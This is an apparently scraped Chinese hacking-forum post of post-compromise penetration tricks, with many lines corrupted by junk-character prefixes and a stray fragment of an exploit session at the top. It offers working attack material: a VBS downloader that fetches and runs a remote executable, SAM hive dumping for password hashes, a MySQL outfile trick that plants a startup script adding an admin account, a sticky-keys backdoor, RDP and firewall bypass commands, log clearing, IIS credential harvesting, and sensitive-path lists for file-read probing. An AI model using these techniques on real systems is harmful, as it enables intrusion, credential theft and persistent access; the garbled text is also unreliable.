* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
' V# F9 u, j1 C* E8 {# M% t. Z*
% e! S* f1 r8 @) D' Kcalling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
- T& k5 a5 Q. K" V. m; u: N感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
/ |) r. j( V( C9 _) s& B注：
) H/ q' y! e* }1 m& w: l关于tar的打包方式,linux不以扩展名来决定文件类型。
2 j* y" X2 R; I6 H若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
/ E8 d6 G7 Q; N. a" G那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
( Y( N" z- M; c' f( b}  
& A# i. e  X1 y* R: c
提权先执行systeminfo
; u" T* |$ }( p4 o- N; D0 _token 漏洞补丁号 KB956572
% I' n9 T  B( h0 n8 q- \6 yChurrasco          kb952004
5 s  z) G; y! r/ N* J命令行RAR打包~~·
# Q, M& ^/ s' y7 ]* Z; u$ vrar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：

9 f8 n; p' T; `' x3 M/ g@echo off
echo #########system info collection
; L) h+ A, b) p  d( h) u; fsysteminfo
! p4 d! s7 s' I/ ]6 m1 ever
- B4 Z" M9 R3 v# I& Xhostname
0 \" ]3 f8 [+ E" M5 ]net user
net localgroup
/ X6 {  k6 L, D+ y. |net localgroup administrators
7 ~" v7 B7 g6 }) pnet user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query
4 L) X$ v" R0 P5 T; l* ?
( \4 H6 H4 B) j. o+ a0 }% ?echo
4 J; D& c2 v+ \# b& q0 U6 x; O6 gecho ####task-list#############
, S+ f) q& e) V! T6 ?" B9 z* }tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
7 A1 r" O' `2 c9 V$ ], uecho
1 U- c8 N5 b. jecho #######service############
sc query type= service state= all
9 c, x+ d. u- c. ~* w5 z* e1 Oecho #######file-##############
cd \
) `3 k$ p7 t4 M8 W: Y) p; F% ftree -F
for linux：
# h6 d# m# j; x* o& Z, S
#!/bin/bash
, m3 N0 R3 D5 ]6 i/ R; q3 b
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
9 u- e, E/ }  A, {5 M; pecho #######basic infomation##
: @. d8 v  H" ~2 c+ o3 Scat /proc/meminfo
echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
$ ^% j8 m$ k& ~- `######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
0 X3 h: N( g+ X) [

echo 'u'r id is' `id`
echo ###atq&crontab#####
# v+ o0 M5 i. [+ C; Xatq
crontab -l
echo #####about var#####
. M! _6 y& K+ m" M5 g; bset
! O% o# T: R) p! I
; }) l" w, e) |3 n7 x1 pecho #####about network###
: E7 s0 l, ^! P4 b. W0 e2 y####this is then point in pentest,but i am a new bird,so u need to add some in it
7 w  B* h- T# t* {; `cat /etc/hosts
hostname
ipconfig -a
, |& P/ ~" x& x8 Y1 t% N9 earp -v
echo ########user####
cat /etc/passwd|grep -i sh
- |/ P: M; u& |6 J
echo ######service####
chkconfig --list
. }" C8 A  s+ D: M) W
' l+ M: G. O. s" Pfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
6 p8 N4 R1 L) y) ^; ]' B( J( Jdone
8 d9 @1 f, v4 M) D5 O+ B. p3 x2 D
" f" C" }0 y; K+ jlocate passwd >/tmp/password 2>/dev/null
8 X( n& d# E/ B8 [& c" l. d; jsleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
( k2 {0 @' c, R2 j  f/ q* r8 wlocate config >>/tmp/sysconfig 2>/dev/null
) g* ?1 [8 i. t" f% }# I% S0 \; Xsleep 5

###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
4 e8 h4 J( M  W3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
# x, b+ \! A( ?) A. ~* ]% ^注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
4 S/ t$ O) \6 A% B+ N: `: x* d( H* P据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
$ A% d7 p) l3 t2 j——————————————
4、vbs 下载者
. v( w1 w& R1 Y9 k) {& p1 ~6 I1
( E6 u( e. e9 X; K: R0 @echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
$ D/ o! ?; S+ a7 @" L# Eecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
" S6 ]4 K% a5 t+ x8 n4 u+ }echo sGet.Open() >>c:\windows\cftmon.vbs
0 K0 t5 s; s- X/ e5 {( |0 Jecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
3 P4 @; P+ ?& r9 }; W/ e; Y$ k0 Yecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
  @2 Z$ A, }2 }echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
% G& G( K* H: w' i$ E$ E3 Y. xecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
/ W  x4 e; g, `$ |* G
% u/ Q/ h  y. ^8 q% L3 C' u2
! ]* I% N& R% X/ k  d- w4 ^* f( pOn Error Resume Nextim iRemote,iLocal,s1,s2
- Q3 o6 U7 x$ `iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
" s1 D6 P) {1 _! u6 gs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
& ~; B% B/ T  S7 e7 z. `Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

! Q$ h6 L' @: Hcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
$ H( \7 D% u" s. |7 |——————————————————
5、
7 G& h$ b- d; J( T; c# J( s1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
8 }& N' X& N) G) N" P2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
& k: R3 E5 m" [, E/ ]REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
% s, F: ]7 ?" `$ z: tREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
/ U5 a9 R1 W/ x% t4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
5 H, \- ^! B$ o6 N# n: U1 c& Y————————————————
. k% z6 }3 `& k- t: x! `9 w6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
+ J( E8 Y1 e0 `) Q/ @insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
5 u- C; T7 f* [& E6 K( Eselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
2 g+ l' n& ~* n: ^- D_____
, @- _; U, {4 c8 Q' X6 w) p8、for /d %i in (d:\freehost\*) do @echo %i
' C+ j3 \0 Y; \( [) d* Q8 R
3 c1 W/ {  E0 a列出d的所有目录
  
- j4 W8 ?( Q: ?  for /d %i in (???) do @echo %i
& v; R# U' |2 E4 m3 a* C  K
+ |6 i9 _) Q/ r% D  S9 G/ B把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
# @# {8 ?9 L3 W- K以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
# _9 Z: a- |2 N( E0 ]
  @) b: [- i7 R: s) c# v3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
$ [! {/ r( W+ o3 `2 G
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
0 p7 u; x3 D5 y7 v
4 }$ n$ l" `, K: u5 t$ n8 `1 p% R& E) k  delims=后的空格是分隔符 tokens是取第几个位置
. ]* x# ?9 @- C' _' ?$ b——————————
●注册表:
; M) v5 r8 d; u7 X$ ]- k8 t- Z6 c1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
; J0 j6 a; m$ h5 s+ Z
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
, j( J! U6 o! c8 u! R3 }. g. b! T修改PortNumber.
6 H9 [8 l* m5 q# L
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

; o; |6 ?! e$ I4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

' M5 N1 x) U7 q5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
! b" K5 M2 ^8 P0 I* j8 b1 ~1 S" M" V
; Q' M5 Z" n$ o- \; Q+ q; h6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
* Q) B: |2 E/ ~( U& Y0 U- [或者
netsh ipsec dynamic set config ipsecexempt value=0
$ V" x3 f* Y/ @
8 R2 N9 i" f2 R; z0 y7 C4 B7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
  I5 E6 k8 ~; K5 C3 V: U
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
' p3 i9 T, y! E% o* `* I
9.另类方法抓系统密码HASH
, D" {$ N3 D& a  c" c! F, dreg save hklm\sam c:\sam.hive
9 \! k5 y- H4 jreg save hklm\system c:\system.hive
3 j; x  r8 Q" w0 f; T8 Zreg save hklm\security c:\security.hive

9 X& ^: e5 g  e& f10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
5 M( s: Z  k% v8 a. G! {
" K: {. L- S6 jreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
: _. d" ~' V. ~星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
" e8 [# j; e; [, sFor Each obj3w In objservice
/ i! q$ D; W5 lchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
. A/ |1 I5 X8 A# y# T1 Rset IIs=objservice.GetObject("IIsWebServer",childObjectName)
0 Q6 ?0 f5 r, G5 b# aif err.number<>0 then
exit for
msgbox("error!")
# K. a" w5 K5 G5 @  M( I9 F. vwscript.quit
end if
9 p3 m& ]- R( d0 L$ C, f6 w/ Vserverbindings=IIS.serverBindings
. r1 G, P# M! [' d$ kServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
( v# x1 D! \+ B7 c! guser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
( A/ E2 S. Y' d9 y" W1 G) d5 Wlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
" e! V, T& O0 _( k5 S1 a( ]9 KSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
/ d) s5 `2 Y, j' sWScript.Quit
+ A% ?7 F* w, Y) O! {, V  c% @复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
  B: R7 R' ^, O$ G& q6 _' N, X1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
9 t) P8 _  c; E' Z6 Y4 l5 X. x4 F2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
5 e9 a; M; P* e7 B6 T# f将folder.htt文件，加入以下代码：
3 B( m" |1 K  X1 l5 p6 j<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
0 G+ M6 ?4 T; ~' W6 l9 SPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
0 l$ ~" y( M% s$ z; }( |asp代码，利用的时候会出现登录问题
  s$ c+ e; @. u9 w$ V6 ^, l: t 原因是ASP大马里有这样的代码：（没有就没事儿了）
$ @9 @' ~9 t4 Y" p# A% c, D  ]; } url=request.severvariables("url")
0 ^) J# k# b- P6 A 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
/ A2 @, N+ y1 J 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

% N5 p1 ^3 `3 M# j4 \% V9 q==============================================================
  o2 L# E7 h% k8 e9 |$ ZLINUX常见路径：
$ r+ J9 j& C2 T
/etc/passwd
/etc/shadow
/etc/fstab
1 @: [4 x6 K' x8 o8 G2 H) A/etc/host.conf
5 G" E' e* c0 }( u/etc/motd
/etc/ld.so.conf
5 I: `# q" N5 t& S. d4 f/var/www/htdocs/index.php
3 ^& L9 X, g* W4 f$ Q8 w% j/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
% y, {0 q! W9 v' G/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
* b8 Z" v9 R9 g* R( f+ S$ e/opt/www/htdocs/index.php
) U7 O6 S. e  J# o/ ^" A/opt/www/htdocs/index.html
" h8 K! A" _. P# Y( O( Q. k/usr/local/apache/htdocs/index.html
# W' c, D! \* X; Y# d/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
4 \' @+ _) P9 g! S% c+ X8 {9 c/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/ q7 K; P/ i7 N; D: O& D  w/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
) U/ @( {- ^  Q1 \7 B5 M/etc/httpd/htdocs/index.php
$ H9 p% x* a' g' R2 ^% Y/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
# a/ z& L3 B: U+ ^4 u- o$ i/www/php/php.ini
* i& d- ]& u: @9 ^/www/php4/php.ini
7 H. `4 ?$ R5 _0 f# o/www/php5/php.ini
$ \0 s3 w: X4 s: b# C- d# n( t/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
) [9 ~. g, c! Z- D  T/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
$ l! a$ E2 \1 m- S: v/etc/apache/apache.conf
/etc/apache2/apache.conf
" I1 _; E6 A( `  @8 N. g* D; i/etc/apache/httpd.conf
8 K9 W9 W% u! G- u5 i# X% T& G/etc/apache2/httpd.conf
3 V& G8 s5 q: E$ R0 ]- [/etc/apache2/vhosts.d/00_default_vhost.conf
  X5 C4 M* b! s5 T- x! ?% ^/etc/apache2/sites-available/default
  e8 U; v" K: V/ B/etc/phpmyadmin/config.inc.php
9 G$ Y. J" f/ r) l/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
+ k" `- J: n$ J$ b- y: J! s- D; i/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
7 v! X: u( C- x2 U8 r1 ~/etc/httpd/logs/access.log
% b! g7 {  n4 j  V* D$ ?+ L; x' e$ I/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
" w" O& L; |2 Q: s/var/log/apache/error.log
2 S7 g. B% X7 t4 _4 H+ X( K" d5 i/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
1 R! w, G9 W/ G/var/log/apache2/error.log
0 Y% C1 \" j" g& E& {/var/log/apache2/access_log
' S# ?5 u' p1 ?6 P2 W/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
1 C9 r. n" l6 O- |( X& n1 N/usr/local/apache/logs/error_log
2 d: E6 y: m3 k& j$ H/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
  @- r7 l4 ^0 X/ r* m0 v/var/log/error_log
/var/log/error.log
6 ]) b8 v/ |7 p% V- }+ ]) Y4 W/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
+ U! s% K/ F' j2 e: m) L2 Q# G5 U) l( }/etc/php.ini
9 O8 c$ v3 V8 _! E3 S/bin/php.ini
/etc/init.d/httpd
1 N& y* \* B' ~4 B# n3 C0 m/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
' n1 D4 X! N. A" Z( z/usr/local/php5/lib/php.ini
/ C! i% j* w2 E. {7 r2 }/ w% p0 j: N/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
) F  ^" ?; u+ `8 G7 `. O3 C/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
! t3 r5 m6 G9 K3 r( |/ _3 z/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
" ~+ l, X  m4 G/etc/php4.4/fcgi/php.ini
( J2 m- x' Q3 |( d* z0 i/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
9 S% \% u: o3 \/etc/php5/apache/php.ini
7 N& c  c# h+ {+ A0 N/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
: ~3 D  m( k) W  A( ^: l9 ]/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
) T( ~7 u; X+ E5 ~3 G* Q4 n+ {/opt/xampp/etc/php.ini
0 G; Y' t. f8 V4 _6 j* `' i7 Y! o/ c/var/local/www/conf/php.ini
5 T. H' d/ o. d/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
0 A) L$ H5 g! Z7 m% a6 v- J2 t/php5/php.ini
7 i8 Q0 z7 ?4 P/php4/php.ini
/php/php.ini
7 ]# T4 U; k, b- j/PHP/php.ini
0 K6 K2 F) t% W& C$ B) L7 m# x/apache/php/php.ini
8 I2 L6 T/ R: D# w, `4 _6 T/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
* F2 J& S0 f) g: d/NetServer/bin/stable/apache/php.ini
0 N! o5 g7 k3 {; ]/home2/bin/stable/apache/php.ini
' c, q2 h  w$ d* Y, m8 Y/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
7 z8 v4 A0 V8 |9 t/var/log/mysqlderror.log
0 s6 S! i4 W$ ]- }/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
$ b( [, N+ ~% Z# G+ [/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
% N% J3 U1 D8 G/etc/mysql/my.cnf
4 y3 _) a. p' l7 O& i; K0 n/etc/my.cnf
- G9 R; }# L. T( ~2 \/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
5 ~* z  [( ?* Z" c: l/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
0 L$ {+ I7 l. b& j& Z) B/usr/local/cpanel/logs/login_log
4 ^) B# f& O0 \+ _- L/usr/local/cpanel/logs/stats_log
* m7 ?! L! y' j+ y/usr/local/share/examples/php4/php.ini
& p$ l& I4 R# }/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
8 c6 p" {5 d0 {# u% c/ q
& t, H7 L' z) I. ]c:\windows\php.ini
c:\boot.ini
- K. s( E# ^& ac:\1.txt
c:\a.txt

6 i* y% ^9 ^* jc:\CMailServer\config.ini
9 p" A& J) ?5 k' o; l5 `# Tc:\CMailServer\CMailServer.exe
2 ^1 ?/ P. z8 r& `2 n& j1 I  Uc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
- D- J! m# U  j" SC:\WinWebMail\Web\default.asp
' ]) a- u+ z/ e4 r2 g, t' O7 z" }. t- P- kC:\WINDOWS\FreeHost32.dll
- Z& l, i: |- S8 {! I$ G6 rC:\WINDOWS\7i24iislog4.exe
0 K5 D  s, p& g2 U% |# GC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
2 j  @2 g& F  S' O
; p; a# D5 c* x: dc:\hzhost\hzclient.exe
" A: X8 u) Q; V( j$ b- ?6 VC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
! t- y: o2 d+ i4 q6 C5 A3 L1 z* m
1 A1 ?7 T% l" Y% ZC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
/ ~& j2 ?0 g# c" X( |. Lc:\web\index.html
/ z+ H# v: C1 p8 P, jc:\www\index.html
c:\WWWROOT\index.html
/ C2 O" L- U5 S+ Yc:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
7 J! q7 R' [  ~% mc:\WWWROOT\index.asp
c:\web\index.php
- P  A- p2 C" @* Dc:\www\index.php
/ A7 n0 f! X8 A# ^8 @c:\WWWROOT\index.php
5 i! |  s" a7 [c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
) Q; _6 L5 f$ Dc:\web\default.asp
$ W1 m" }' G4 p  ?c:\www\default.asp
c:\wwwsite\default.asp
- B% m2 [0 }' v* Zc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
' ?0 _0 T/ e& s4 k% k$ x# XC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
% q% v& M# k+ V% U  x% `% {c:\winnt\notepad.exe
( D4 L' l$ s- b2 C/ {C:\Program Files\Microsoft Office\OFFICE10\winword.exe
* Q8 `) |% X* H' N& T+ X2 RC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
8 N6 {' z* m% W' `, P, ^C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
5 E( E* \7 e# wc:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
* y1 G; x7 {: W3 NC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
5 O) b* H' J5 A! ^% ?E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
" T+ U: p- h  `$ hC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
5 f6 L. L' O5 M% G7 l, tC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
5 L7 y- u: g, C/ W" dC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
9 @1 y0 h" G; qC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
2 C* w% b5 F, X6 C3 S5 NC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
! E6 i+ I. C1 B' K. e0 kC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
. V' m  ^' l, N; t4 iC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
8 r% U6 m; A; O; }: B9 MC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
! ^2 M$ ?" l+ B( Vc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
: X% j5 D( D. f/ K/ u- p( j+ ~# `C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
- R0 w8 \  C" s! C9 ZC:\WINDOWS\system32\inetsrv\w3wp.exe
. b# g( ?1 V8 A1 F+ GC:\WINDOWS\system32\inetsrv\inetinfo.exe
+ N- x+ q1 q; N4 H' @C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
4 V: G' I  K0 j% J% W, Fc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
" @* |- E" J% O$ E0 N' U0 gc:\tomcat\bin\version.sh
% {9 a2 L* P' m. p9 I2 g6 N# \c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
: p' _, m- G; m& I( R! Dc:\Apache2\Apache2\bin\Apache.exe
8 ?: j9 W: F1 B9 rc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
2 R3 t5 }0 B$ [5 y# l$ m6 F/usr/share/tomcat6/bin/startup.sh
% b# y! L) t, ^2 G- _4 T7 C/usr/tomcat6/bin/startup.sh
